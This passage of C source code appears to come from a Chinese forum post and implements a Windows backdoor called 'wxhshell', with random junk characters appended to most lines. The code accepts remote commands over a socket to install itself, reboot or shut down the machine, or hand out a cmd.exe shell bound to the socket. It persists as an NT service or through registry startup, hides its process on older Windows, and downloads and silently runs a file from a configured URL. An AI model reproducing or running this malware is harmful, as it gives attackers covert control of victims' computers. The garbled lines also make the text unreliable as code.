  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R"v 3!P  
  } w*9br SK  
  else { k44Q):ncY7  
5*%#o  
    switch(cmd[0]) { da!P0x9p  
  ] y{WD=T  
  // 帮助 OPJ: XbG  
  case '?': { Y$K!7Kq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Cizvw'XDV  
    break; <6TT)t<h  
  } {V19Zv"j  
  // 安装 DE$q+j0P  
  case 'i': { g^Yl TB  
    if(Install()) K BE Ax3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;6]NCx D  
    else 9LnN$e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X!hIwiA,t  
    break; E(pF:po  
    } `>(W"^  
  // 卸载 )m3Uar  
  case 'r': { Oc].@Jy  
    if(Uninstall()) = {'pUU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3\O|ii  
    else h Ov={:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {]*x*aa\  
    break; rHge~nY<  
    } J@pb[OL,  
  // 显示 wxhshell 所在路径 (:V>Hjt  
  case 'p': {  +ECDD'^!  
    char svExeFile[MAX_PATH]; _Q%vK*n  
    strcpy(svExeFile,"\n\r"); ] Wy)   
      strcat(svExeFile,ExeFile); Psura$:  
        send(wsh,svExeFile,strlen(svExeFile),0); u9woEe?  
    break; Jq.lT(E8D  
    } $3T_ .  
  // 重启 ,fDEz9-,  
  case 'b': { `^JJ&)4iv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4BYE1fUzd  
    if(Boot(REBOOT)) EI>6Nh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %=we `&  
    else { '7Nr8D4L  
    closesocket(wsh); '+>fFM,*B  
    ExitThread(0); F7L&=K$2y  
    } d6{Gt"  
    break; f*{ YFg?*&  
    } r~-.nb"P  
  // 关机 qLL,F  
  case 'd': { [H\:pP8t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 54;J8XT7  
    if(Boot(SHUTDOWN)) WL,&-*JAW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rB~W Iu  
    else { j:T/iH!YF  
    closesocket(wsh); HW4 .zw  
    ExitThread(0); >Iewx Gb>  
    } ,Y?sfp  
    break; % }|cb7l  
    } sbkQ71T:  
  // 获取shell }eQRN<}P  
  case 's': { 9//+Bh  
    CmdShell(wsh); g[ 0<m#"  
    closesocket(wsh); v0Dq@Q1  
    ExitThread(0); &c(WE RW?-  
    break; /iNa'W5\  
  } >SN|?|2U/  
  // 退出 9Etz:?)b  
  case 'x': { iI@jZVk  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .roqEasu8  
    CloseIt(wsh); v8gdU7Ll,  
    break; (6CN/A{qe  
    } E9|eu\  
  // 离开 n,HE0Zn]Y_  
  case 'q': { OH^N" L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l.\re"Q  
    closesocket(wsh); ECdvX0*a  
    WSACleanup(); 1aVa0q<  
    exit(1); J`q]6qf#  
    break; Q-Ux<#  
        } zsU=sTsL  
  } ?&LZB}1R  
  } s](aNe2j  
_zt1 9%Wg  
  // 提示信息 fJ\sguZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^_t%kmL`  
} )VCzn~uf  
  } IEjP<pLe  
x83 !C}4:  
  return; Nw&!}#m  
} h mx= 35  
<H1 `  
// shell模块句柄 n,eJ$2!J  
int CmdShell(SOCKET sock) YSJy`  
{ F/m^?{==~*  
STARTUPINFO si; >&g}7d%  
ZeroMemory(&si,sizeof(si)); '}g*!jL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +X`V|E,no  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I)q,kP@yY  
PROCESS_INFORMATION ProcessInfo; $@d9<83=  
char cmdline[]="cmd"; nzjkX4KV  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n9pN6,o+  
  return 0; 1Gt/Tq$_b  
} <PPNhf8  
J$4wL F3  
// 自身启动模式 H/M Au7  
int StartFromService(void) Z3k(P  
{ T5Q{{@Q  
typedef struct 'Y$R~e^Y?  
{ `c/*H29  
  DWORD ExitStatus; 48|s$K^  
  DWORD PebBaseAddress; O\K_q7iO6  
  DWORD AffinityMask; ;!o]wHmA  
  DWORD BasePriority; y@j,a  
  ULONG UniqueProcessId; ) xbO6V  
  ULONG InheritedFromUniqueProcessId; Tu{h<Zy  
}   PROCESS_BASIC_INFORMATION; ]0;864X0  
2j(h+?N7k  
PROCNTQSIP NtQueryInformationProcess; fgNU03jp^x  
K.G$]H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U. AjYez  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pA{ 5V9  
*Nyev]8  
  HANDLE             hProcess; ^qCkt1C-M  
  PROCESS_BASIC_INFORMATION pbi; UA[,2MBp  
Cv$ SJc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9Rm/V5  
  if(NULL == hInst ) return 0; k>dsw:  
^gV T$A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8Qh#)hiW!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); th6+2&B6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Qn ^bVhG+  
o7B[R) 4  
  if (!NtQueryInformationProcess) return 0; n~g)I&  
]zO/A4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :16P.z1L  
  if(!hProcess) return 0; T!wo2EzE  
t+,4Ya|Xj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /8VP[i)u  
g8!wb{8?s  
  CloseHandle(hProcess); H Te<x  
AamVms  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =9kN_:-  
if(hProcess==NULL) return 0; h._nK\  
liR ?  
HMODULE hMod; :K\mN/ x  
char procName[255]; O62b+%~F  
unsigned long cbNeeded; `/Nm 2K  
yq+!czlZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z/^  u  
e]=!"nJ+  
  CloseHandle(hProcess); 1!pa;$L  
r>jC_7  
if(strstr(procName,"services")) return 1; // 以服务启动 }HE6aF62O  
sC[yI Up  
  return 0; // 注册表启动 JFgoN,xn  
} Bl9jkq ]  
iHf-{[[Z  
// 主模块 {pb>$G:gfx  
int StartWxhshell(LPSTR lpCmdLine) /7!""{1\\  
{ :V2bS  
  SOCKET wsl; 6t/`:OZC:  
BOOL val=TRUE; SI:U0gUc  
  int port=0; 8Ld:"Y#  
  struct sockaddr_in door; D>Gt]s  
!v]b(z`Y  
  if(wscfg.ws_autoins) Install(); AmwWH7,g  
4tSv{B/}  
port=atoi(lpCmdLine); 7Cjd.0T=(  
JbB}y'c4}=  
if(port<=0) port=wscfg.ws_port; ' qdPw%d  
2,aPr:]  
  WSADATA data; IrMl:+t\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RE.r4uOJg  
9Lh|DK,nV/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X0 -IRJ[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dD<fn9t  
  door.sin_family = AF_INET; TO2c"7td  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v^ d]r Sm  
  door.sin_port = htons(port); 2MA]jT  
9w9jpe#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )otb>w5  
closesocket(wsl); qS&%!  
return 1; r_EcMIuk  
} fw oQ' &  
fQLt=Lrp  
  if(listen(wsl,2) == INVALID_SOCKET) { , @m@S ^  
closesocket(wsl); @\&m+;6  
return 1; iYnEwAoN;  
} ;,&8QcSVY  
  Wxhshell(wsl); &[2U$`P`V  
  WSACleanup(); +.y .Mp  
uP\lCqK,  
return 0; iqnJ~g  
T]Nu)  
} %!ebO*8q  
b| SE<\  
// 以NT服务方式启动 K ~44i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &rDM<pO #-  
{ :b[`  v  
DWORD   status = 0; LJX-AO.4  
  DWORD   specificError = 0xfffffff; )} DUMq7  
pf4 ^Bk}e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eT'nl,e|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vtppuu$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >=iy2~Fz,  
  serviceStatus.dwWin32ExitCode     = 0; 4'KOp&#l K  
  serviceStatus.dwServiceSpecificExitCode = 0; v){ .Z^_C  
  serviceStatus.dwCheckPoint       = 0; jkiTj~WE-  
  serviceStatus.dwWaitHint       = 0; I8OD$`~*U6  
uS&| "*pR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ax oD8|  
  if (hServiceStatusHandle==0) return; 6 \B0^  
@DW[Z`X  
status = GetLastError(); OL7_'2_z.  
  if (status!=NO_ERROR) HE<1v@jW  
{ ,:+d g(\r  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ld^GV   
    serviceStatus.dwCheckPoint       = 0; R{,ooxH\J  
    serviceStatus.dwWaitHint       = 0; PL{Q!QJK'  
    serviceStatus.dwWin32ExitCode     = status; BQ^H? jo  
    serviceStatus.dwServiceSpecificExitCode = specificError; JO14KY*%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W&h[p_0  
    return; /S:F)MO9  
  } yBLK$@9  
7=@jARW&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cNzt%MjP  
  serviceStatus.dwCheckPoint       = 0; (]/9-\6(#  
  serviceStatus.dwWaitHint       = 0; bbxLBD'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .I3?7  
} co _oMc  
!~_zm*CqbZ  
// 处理NT服务事件,比如:启动、停止 tgL$"chj@x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y{q*s8NY  
{ zU6a't P  
switch(fdwControl) 3cj3u4y  
{ !? ^h;)a  
case SERVICE_CONTROL_STOP: P?BGBbC  
  serviceStatus.dwWin32ExitCode = 0; JcJmds  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~_9"3,~o5  
  serviceStatus.dwCheckPoint   = 0; 0=wK:Ex  
  serviceStatus.dwWaitHint     = 0; W:i?t8y\y  
  { X5YiFLH>y\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ThW,Y" l  
  } @1zQce>  
  return; *zO&N^X.4  
case SERVICE_CONTROL_PAUSE: cYNJhGY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,? E&V_5  
  break; 9iN.3/T8  
case SERVICE_CONTROL_CONTINUE: HG/p$L*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =TR,~8Z|  
  break; Gf8s?l  
case SERVICE_CONTROL_INTERROGATE: G ;?qWB,  
  break;  Lw1T 4n  
}; l0*Gb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3CTX -#)vS  
} 4eVI},  
bIt=v)%$  
// 标准应用程序主函数 r!}al5~&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Dc~,D1xWj  
{ 66snC{g U  
\EoX8b}$b0  
// 获取操作系统版本 G;gJNK"e  
OsIsNt=GetOsVer(); 4 ;Qlu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A5#y?Aq  
]j>i.5  
  // 从命令行安装 OEdJc\n_R  
  if(strpbrk(lpCmdLine,"iI")) Install(); ujW1+Oj=~  
fpM #XFj  
  // 下载执行文件 (_* wt]"'  
if(wscfg.ws_downexe) { A`O<6   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +.[\g|G  
  WinExec(wscfg.ws_filenam,SW_HIDE); _9:@Vl]Q@  
} Vbh6HqAHxJ  
`,wu}F85  
if(!OsIsNt) { PXP`ZLF  
// 如果时win9x,隐藏进程并且设置为注册表启动 <(@Syv)  
HideProc(); h%d^Gq~  
StartWxhshell(lpCmdLine); G@S&1=nj3  
} E jEFg#q  
else <<MjC5  
  if(StartFromService()) SM[{BH<  
  // 以服务方式启动 tXF]t   
  StartServiceCtrlDispatcher(DispatchTable); (yQ 5`  
else {u7##Vrgt8  
  // 普通方式启动 3l!NG=R  
  StartWxhshell(lpCmdLine); 4dH}g~[P9  
8YY|;\F)J~  
return 0;  \d.F82  
}
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只看该作者 1 发表于: 2006-10-10
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